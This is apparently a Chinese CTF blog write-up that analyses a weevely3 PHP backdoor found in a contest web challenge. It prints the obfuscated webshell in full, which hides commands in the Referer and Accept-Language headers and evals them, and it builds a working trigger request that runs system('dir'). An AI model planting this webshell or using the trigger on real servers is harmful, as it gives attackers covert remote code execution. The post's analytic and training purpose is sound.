weevely3后门分析

作者: 分类: 代码审计,CTF 时间: 2016-09-22 浏览: 4276 评论: 2条评论

去上交打国赛的时候web里面的后门

123.png

在15到16行间插入一个echo $L; 运行得到

234.png

整理一下

<?php
$kh = "4f7f";
$kf = "28d7";
function x($t, $k) {
    $c = strlen($k);
    $l = strlen($t);
    $o = "";
    for ($i = 0;$i < $l;) {
        for ($j = 0;($j < $c && $i < $l);$j++, $i++) {
            $o.= $t{$i} ^ $k{$j};
        }
    }
    return $o;
}
$r = $_SERVER;
$rr = @$r["HTTP_REFERER"];
$ra = @$r["HTTP_ACCEPT_LANGUAGE"];
if ($rr && $ra) {
    $u = parse_url($rr);
    parse_str($u["query"], $q);
    $q = array_values($q);
    preg_match_all("/([\\w])[\\w-]+(?:;q=0.([\\d]))?,?/", $ra, $m);
    if ($q && $m) {
        @session_start();
        $s = & $_SESSION;
        $ss = "substr";
        $sl = "strtolower";
        $i = $m[1][0] . $m[1][3];
        $h = $sl($ss(md5($i . $kh), 0, 3));
        $f = $sl($ss(md5($i . $kf), 0, 3));
        $p = "";
        for ($z = 1;$z < count($m[1]);$z++) $p.= $q[$m[2][$z]];
        if (strpos($p, $h) === 0) {
            $s[$i] = "";
            $p = $ss($p, 3);
        }
        if (array_key_exists($i, $s)) {
            $s[$i].= $p;
            $e = strpos($s[$i], $f);
            if ($e) {
                $k = $kh . $kf;
                ob_start();
                @eval(@gzuncompress(@x(@base64_decode(preg_replace(array("/_/", "/-/"), array("/", "+"), $ss($s[$i], 0, $e))), $k)));
                $o = ob_get_contents();
                ob_end_clean();
                $d = base64_encode(x(gzcompress($o), $k));
                print ("<$k>$d</$k>");
                @session_destroy();
            }
        }
    }
}

把kh,kf,sl这些常量替换一下 得到

<?php
function x($t, $k) {
    $c = strlen($k);
    $l = strlen($t);
    $o = "";
    for ($i = 0;$i < $l;) {
        for ($j = 0;($j < $c && $i < $l);$j++, $i++) {
            $o.= $t{$i} ^ $k{$j};
        }
    }
    return $o;
}
$r = $_SERVER;
$rr = @$r["HTTP_REFERER"];
$ra = @$r["HTTP_ACCEPT_LANGUAGE"];
if ($rr && $ra) {
    $u = parse_url($rr);
    parse_str($u["query"], $q);
    $q = array_values($q);
    preg_match_all("/([\\w])[\\w-]+(?:;q=0.([\\d]))?,?/", $ra, $m);
    if ($q && $m) {
        @session_start();
        $s = & $_SESSION;
        $i = $m[1][0] . $m[1][4];
        $h = strtolower(substr(md5($i . "4f7f"), 0, 3));
        $f = strtolower(substr(md5($i . "28d7"), 0, 3));
        $p = "";
        for ($z = 1;$z < count($m[1]);$z++) $p.= $q[$m[2][$z]];
        if (strpos($p, $h) === 0) {
            $s[$i] = "";
            $p = substr($p, 3);
        }
        if (array_key_exists($i, $s)) {
            $s[$i].= $p;
            $e = strpos($s[$i], $f);
            if ($e) {
                $k = "4f7f" . "28d7";
                ob_start();
                @eval(@gzuncompress(@x(@base64_decode(preg_replace(array("/_/", "/-/"), array("/", "+"), substr($s[$i], 0, $e))), "4f7f28d7")));
                $o = ob_get_contents();
                ob_end_clean();
                $d = base64_encode(x(gzcompress($o), $k));
                print ("<$k>$d</$k>");
                @session_destroy();
            }
        }
    }
}

用逆推的思想,目标自然是执行eval中的代码

eval.png

先测试 gzcompress,gzuncompress

unpress.png

在看看 x函数,看不太懂,手动跑一波,就可以发现是实现这样的功能

for ($i = 0;$i < strlen($t);$i++) {
        $o.=$t[$i]^$k[$i%strlen($k)];
    }

测试一下

x.png

看一下要执行system('dir'); 要构造的字符串

payload.png

所以只需 下图红框内

LXF36I5`T2B%NH8VCN7JLI0.png

substr($s[$i], 0, $e)=="TPocyB4WLfrhNnivHmqzgzJmH0I2hw=="

向上看

ptiaojian.png

$s[$i]是从p得到的
要执行这条语句$i必须是$s的键值,而$s只在strpos($p, $h) === 0后填加了一次值
所以$p需要满足
$p=$h."TPocyB4WLfrhNnivHmqzgzJmH0I2hw==".$f

继续往上

server.png

$p.= $q[$m[2][$z]]; p是从q依次得到的 下标是m获取的第2组的值
看到正则

preg_match_all("/([\\w])[\\w-]+(?:;q=0.([\\d]))?,?/", $ra, $m);

构造ra=ah;q=0.8,an-US;q=0.1,an;q=0.2,an;q=0.3

则m第2组下标一次为123,i=aa
计算出$f=0e5 $h=83b
于是
rr="http://114.114.114.114/?q0=hahaha&q1=83b&q2=TPocyB4WLfrhNnivHmqzgzJmH0I2hw&q3=0e5"

burp里加一下相应的http头

payload2.png

结果是加密的,对应解密一下

result.png

被师傅们吊打,Orz

标签: none

订阅本站(RSS)

已有 2 条评论

  1. Faith4444

    俊杰师傅终于更新了

    时间: 2016-10-04 at 16:36 回复
  2. 膜一波俊杰师傅

    时间: 2016-11-16 at 19:01 回复

添加新评论